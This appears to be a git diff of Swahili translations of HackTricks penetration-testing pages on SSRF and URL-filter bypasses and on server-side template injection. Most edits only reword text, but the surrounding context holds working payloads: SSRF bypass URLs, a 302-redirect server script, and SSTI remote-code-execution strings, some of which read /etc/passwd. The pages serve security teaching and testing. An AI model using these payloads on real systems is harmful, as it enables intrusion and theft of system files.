## SSRF kupitia data ya SNI kutoka kwa cheti
|
||||
|
||||
Usanidi usio sahihi ambao unaweza kuwezesha muunganisho na nyuma yoyote kupitia usanidi rahisi umeonyeshwa kwa mfano wa usanidi wa Nginx:
|
||||
Usanidi mbaya ambao unaweza kuwezesha muunganisho na nyuma yoyote kupitia usanidi rahisi umeonyeshwa kwa mfano wa usanidi wa Nginx:
|
||||
```
|
||||
stream {
|
||||
server {
|
||||
@ -214,7 +214,7 @@ Connection: close
|
||||
```
|
||||
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
Msimamo wa hatari:
|
||||
Msimbo unaoweza kuathiriwa:
|
||||
|
||||
<figure><img src="../../images/image (1201).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -245,7 +245,7 @@ var_dump($response);
|
||||
```
|
||||
</details>
|
||||
|
||||
PHP inaruhusu matumizi ya **char `*` kabla ya slash katika njia** ya URL, hata hivyo, ina mipaka mingine kama vile kwamba inaweza kutumika tu kwa njia ya mzizi `/` na kwamba alama `.` haziruhusiwi kabla ya slash ya kwanza, hivyo inahitajika kutumia anwani ya IP iliyokodi kwa hex bila alama:
|
||||
PHP inaruhusu matumizi ya **char `*` kabla ya slash katika njia** ya URL, hata hivyo, ina mipaka mingine kama vile kwamba inaweza kutumika tu kwa njia ya mzizi `/` na kwamba alama `.` haziruhusiwi kabla ya slash ya kwanza, hivyo inahitajika kutumia anwani ya IP iliyokodi kwa hex bila alama ya nukta kwa mfano:
|
||||
```http
|
||||
GET *@0xa9fea9fe/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -261,7 +261,7 @@ Ikiwa unakabiliwa na **matatizo** ya **kuondoa maudhui kutoka kwa IP ya ndani**
|
||||
|
||||
### Automated DNS Rebidding
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) mashambulizi. Inajumuisha vipengele muhimu vya kubadilisha anwani ya IP ya jina la DNS la seva ya shambulizi kwa anwani ya IP ya mashine lengwa na kutoa mzigo wa shambulizi ili kutumia programu dhaifu kwenye mashine lengwa.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) mashambulizi. Inajumuisha vipengele muhimu vya kubadilisha anwani ya IP ya jina la DNS la seva ya shambulizi kuwa anwani ya IP ya mashine lengwa na kutoa mzigo wa shambulizi ili kutumia programu dhaifu kwenye mashine lengwa.
|
||||
|
||||
Angalia pia seva **inayoendesha hadharani katika** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
@ -278,13 +278,13 @@ Shambulizi:
|
||||
1. Muulize mtumiaji/boti **kupata** **domain** inayodhibitiwa na **mshambuliaji**
|
||||
2. **TTL** ya **DNS** ni **0** sekunde (hivyo mwathirika atakagua IP ya domain tena hivi karibuni)
|
||||
3. **Muunganisho wa TLS** unaundwa kati ya mwathirika na domain ya mshambuliaji. Mshambuliaji anaingiza **mzigo ndani** ya **Session ID au Session Ticket**.
|
||||
4. **Domain** itaanza **mzunguko usio na mwisho** wa kuelekeza dhidi ya **yeye mwenyewe**. Lengo la hili ni kumfanya mtumiaji/boti kufikia domain hadi ifanye **tena** **ombio la DNS** la domain.
|
||||
4. **Domain** itaanza **mzunguko usio na mwisho** wa kuelekeza dhidi ya **yake mwenyewe**. Lengo la hili ni kumfanya mtumiaji/boti kufikia domain hadi ifanye **tena** **ombwe la DNS** la domain.
|
||||
5. Katika ombi la DNS anwani ya **IP ya kibinafsi** inatolewa **sasa** (127.0.0.1 kwa mfano)
|
||||
6. Mtumiaji/boti atajaribu **kuanzisha tena muunganisho wa TLS** na ili kufanya hivyo atatuma **Session** ID/Ticket ID (ambapo **mzigo** wa mshambuliaji ulikuwa umejumuishwa). Hivyo hongera umefaulu kumwambia **mtumiaji/boti ajishambulie mwenyewe**.
|
||||
6. Mtumiaji/boti atajaribu **kuanzisha tena muunganisho wa TLS** na ili kufanya hivyo itatuma **Session** ID/Ticket ID (ambapo **mzigo** wa mshambuliaji ulikuwa umejumuishwa). Hivyo hongera umefaulu kumwambia **mtumiaji/boti ajishambulie mwenyewe**.
|
||||
|
||||
Kumbuka kwamba wakati wa shambulizi hili, ikiwa unataka kushambulia localhost:11211 (_memcache_) unahitaji kumfanya mwathirika kuanzisha muunganisho wa awali na www.attacker.com:11211 (**port lazima iwe sawa kila wakati**).\
|
||||
Ili **kufanya shambulizi hili unaweza kutumia chombo**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||||
Kwa **maelezo zaidi** angalia mazungumzo ambapo shambulizi hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
Kwa **maelezo zaidi** angalia hotuba ambapo shambulizi hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
|
||||
|
||||
## Blind SSRF
|
||||
|
||||
@ -333,7 +333,7 @@ Chombo hiki kinazalisha mzigo wa Gopher kwa:
|
||||
|
||||
- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||||
|
||||
_remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za shambulizi kwa udhaifu wa kawaida wa _Java RMI_. Operesheni nyingi zinazopatikana zinaunga mkono chaguo `--ssrf`, ili kuzalisha mzigo wa _SSRF_ kwa operesheni iliyotakiwa. Pamoja na chaguo `--gopher`, mzigo wa _gopher_ unaoweza kutumika moja kwa moja unaweza kuzalishwa.
|
||||
_remote-method-guesser_ ni skana ya udhaifu wa _Java RMI_ inayounga mkono operesheni za shambulizi kwa udhaifu wa kawaida wa _Java RMI_. Operesheni nyingi zinazopatikana zinaunga mkono chaguo `--ssrf`, ili kuzalisha mzigo wa _SSRF_ kwa operesheni iliyotakiwa. Pamoja na chaguo `--gopher`, mzigo wa _gopher_ unaoweza kutumika unaweza kuzalishwa moja kwa moja.
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||||
|
||||
@ -341,7 +341,9 @@ SSRF Proxy ni seva ya proxy ya HTTP yenye nyuzi nyingi iliyoundwa kutunza trafik
|
||||
|
||||
### To practice
|
||||
|
||||
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||||
{{#ref}}
|
||||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
|
@ -145,7 +145,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Paths and Extensions Bypass
|
||||
|
||||
Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiendelezi, au lazima iwe na njia, unaweza kujaribu moja ya bypass zifuatazo:
|
||||
Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiendelezi, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
@ -153,18 +153,20 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||
```
|
||||
### Fuzzing
|
||||
|
||||
Chombo [**recollapse**](https://github.com/0xacb/recollapse) kinaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hiki posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
||||
Chombo [**recollapse**](https://github.com/0xacb/recollapse) kinaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
|
||||
|
||||
### Automatic Custom Wordlists
|
||||
|
||||
Angalia [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) kutoka portswigger ambapo unaweza kuingiza mwenyeji aliyetengwa na wa shambulizi na itaunda orodha ya URLs za kujaribu kwako. Pia inazingatia ikiwa unaweza kutumia URL hiyo katika parameter, katika kichwa cha Host au katika kichwa cha CORS.
|
||||
Angalia [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) kutoka portswigger ambapo unaweza kuingiza mwenyeji aliyetengwa na waathiriwa na itaunda orodha ya URLs za kujaribu kwako. Pia inazingatia ikiwa unaweza kutumia URL hiyo katika parameter, katika kichwa cha Host au katika kichwa cha CORS.
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini si** jibu la **redirect** lililowezekana kwa ombi hilo.\
|
||||
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **ikichuja param ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
|
||||
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** lililowezekana kwa ombi hilo.\
|
||||
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa inachuja **paramu ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
|
||||
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
@ -190,21 +192,21 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||
|
||||
### Blackslash-trick
|
||||
|
||||
_Mbackslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa backslash (`\`) kama sawa na slash ya mbele (`/`) katika kiwango cha WHATWG, ikihusisha jinsi URLs zinavyosomwa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
|
||||
_Mbackslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa backslash (`\`) kama sawa na forward slash (`/`) katika kiwango cha WHATWG, ikihusiana na jinsi URLs zinavyopaswa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
|
||||
|
||||

|
||||
|
||||
### Bracket ya Kushoto
|
||||
### Left square bracket
|
||||
|
||||
Character ya “bracket ya kushoto” `[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji inayotofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
Character ya “left square bracket” `[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji inayotofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### Confusions Nyingine
|
||||
### Mchanganyiko Mwingine
|
||||
|
||||
.png>)
|
||||
|
||||
picha kutoka [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
## Marejeleo
|
||||
## Marejeo
|
||||
|
||||
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## What is SSTI (Server-Side Template Injection)
|
||||
|
||||
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya kwenye kiolezo kinachotekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
|
||||
@ -11,7 +10,7 @@ Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu t
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
Katika hii nambari iliyo hatarini, parameter ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kiolezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameter ya `name`, na kusababisha kuingizwa kwa kiolezo upande wa seva.
|
||||
Katika hii nambari iliyo hatarini, parameta ya `name` kutoka kwa ombi la mtumiaji inapitishwa moja kwa moja kwenye kiolezo kwa kutumia kazi ya `render`. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameta ya `name`, na kusababisha kuingizwa kwa kiolezo upande wa seva.
|
||||
|
||||
Kwa mfano, mshambuliaji anaweza kuunda ombi lenye mzigo kama huu:
|
||||
```
|
||||
@ -19,20 +18,20 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
Payload `{{bad-stuff-here}}` imeingizwa kwenye parameter `name`. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
|
||||
|
||||
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa vizuri na kuthibitishwa kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa na kuthibitishwa ipasavyo kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
|
||||
|
||||
### Ugunduzi
|
||||
|
||||
Ili kugundua Kuingizwa kwa Template Kwenye Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
|
||||
Ili kugundua Kuingizwa kwa Template upande wa Seva (SSTI), awali, **kufanya fuzzing kwenye template** ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (**`${{<%[%'"}}%\`**) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
|
||||
|
||||
- Makosa yaliyotupwa, yanayoonyesha udhaifu na labda injini ya template.
|
||||
- Kukosekana kwa payload kwenye reflection, au sehemu zake kukosekana, ikionyesha kuwa seva inashughulikia tofauti na data ya kawaida.
|
||||
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (mfano, `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Plaintext**: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (kwa mfano, `{{7*7}}`, `${7*7}`).
|
||||
- **Muktadha wa Msimbo**: Thibitisha udhaifu kwa kubadilisha vigezo vya pembejeo. Kwa mfano, kubadilisha `greeting` kwenye `http://vulnerable-website.com/?greeting=data.username` ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama kwenye `greeting=data.username}}hello` inarudisha jina la mtumiaji.
|
||||
|
||||
#### Awamu ya Utambuzi
|
||||
|
||||
Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payloads mbalimbali za lugha maalum. Payloads za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
|
||||
Kutambua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali maalum kwa lugha. Payload za kawaida zinazosababisha makosa ni pamoja na `${7/0}`, `{{7/0}}`, na `<%= 7/0 %>`. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
|
||||
|
||||
#### Utambuzi kwa payloads
|
||||
|
||||
@ -63,7 +62,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
|
||||
```
|
||||
### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
meza ya mwingiliano inayojumuisha polyglots za uingizaji wa templeti zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu zaidi za templeti.
|
||||
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa templeti zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu za templeti.
|
||||
|
||||
## Exploits
|
||||
|
||||
@ -156,7 +155,7 @@ $out.read()
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi `${7*7}`, ambao pia unatumika kwa injini hii ya templeti. Kwa uwezekano wa utekelezaji wa msimbo wa mbali, usemi kama ifuatavyo unaweza kutumika:
|
||||
Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi `${7*7}`, ambao pia unatumika kwa injini hii ya templeti. Kwa ajili ya uwezekano wa utekelezaji wa msimbo wa mbali, usemi kama ifuatavyo unaweza kutumika:
|
||||
|
||||
- SpringEL:
|
||||
|
||||
@ -172,7 +171,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
|
||||
Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, _expression inlining_ inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama `[[...]]` au `[(...)]`. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama `[[${7*7}]]`.
|
||||
|
||||
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wataalamu wa programu wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi mara moja, jambo ambalo si la kawaida.
|
||||
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimeandaliwa mapema. Wandelezaji wangehitaji kutekeleza `TemplateResolver` yao ili kuunda templeti kutoka kwa nyuzi mara moja, jambo ambalo si la kawaida.
|
||||
|
||||
Thymeleaf pia inatoa _expression preprocessing_, ambapo usemi ndani ya viwango viwili vya chini (`__...__`) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika hati ya Thymeleaf:
|
||||
```java
|
||||
@ -210,7 +209,7 @@ Maelezo mengi ya mabadiliko yanaweza kutumika, ikiwa `${...}` haitafanya kazi ja
|
||||
```java
|
||||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||||
```
|
||||
- Skripti Maalum kwa ajili ya uzalishaji wa payload
|
||||
- Skripti ya Kawaida kwa uzalishaji wa payload
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
@ -365,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
|
||||
- [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
|
||||
|
||||
### Lugha ya Kielelezo - EL (Java)
|
||||
### Lugha ya Msemo - EL (Java)
|
||||
|
||||
- `${"aaaa"}` - "aaaa"
|
||||
- `${99999+1}` - 100000.
|
||||
@ -373,7 +372,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Lugha ya Kielelezo (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kuboresha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
|
||||
Lugha ya Msemo (EL) ni kipengele cha msingi kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kurahisisha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vya nyuma vinavyolingana.
|
||||
- **JavaServer Pages (JSP)**: EL inatumika katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
|
||||
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
||||
|
||||
- Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
|
||||
|
||||
|
||||
|
||||
##
|
||||
|
||||
### Smarty (PHP)
|
||||
@ -477,7 +474,7 @@ $output = $twig > render (
|
||||
array("first_name" => $user.first_name)
|
||||
);
|
||||
```
|
||||
**Maelezo zaidi**
|
||||
**Taarifa zaidi**
|
||||
|
||||
- Katika sehemu ya Twig na Twig (Sandboxed) ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
@ -486,7 +483,7 @@ array("first_name" => $user.first_name)
|
||||
|
||||
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
|
||||
|
||||
Msimamizi:
|
||||
Controller:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
@ -682,7 +679,7 @@ URLencoded:
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
**Seva ya Kando**
|
||||
**Seva Kando**
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
@ -945,15 +942,15 @@ Hata kama ni perl inatumia lebo kama ERB katika Ruby.
|
||||
|
||||
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
|
||||
|
||||
- `{{ . }}`: Inaonyesha muundo wa data uliowekwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
|
||||
- `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha mfuatano wa maneno "ssti".
|
||||
- `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kimepitishwa, `{{ .Password }}` kinaweza kukifichua.
|
||||
- `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha string "ssti".
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
|
||||
|
||||
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
|
||||
|
||||
**Ushambuliaji wa XSS**
|
||||
|
||||
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inachakata jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `<script>alert(1)</script>`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita uchakataji huu: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inakodisha jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `<script>alert(1)</script>`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -961,7 +958,7 @@ vbnet Copy code
|
||||
|
||||
Ushambuliaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumiwa kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kutekeleza hili, kama katika mfano uliopewa:
|
||||
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kufanya shambulizi hili, kama katika mfano uliopewa:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
@ -997,7 +994,9 @@ Ikiwa unafikiri inaweza kuwa na manufaa, soma:
|
||||
|
||||
## Orodha ya Kugundua Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
|
||||
{{#endref}}
|
||||
|
||||
## Mazoezi & Marejeleo
|
||||
|
||||
|
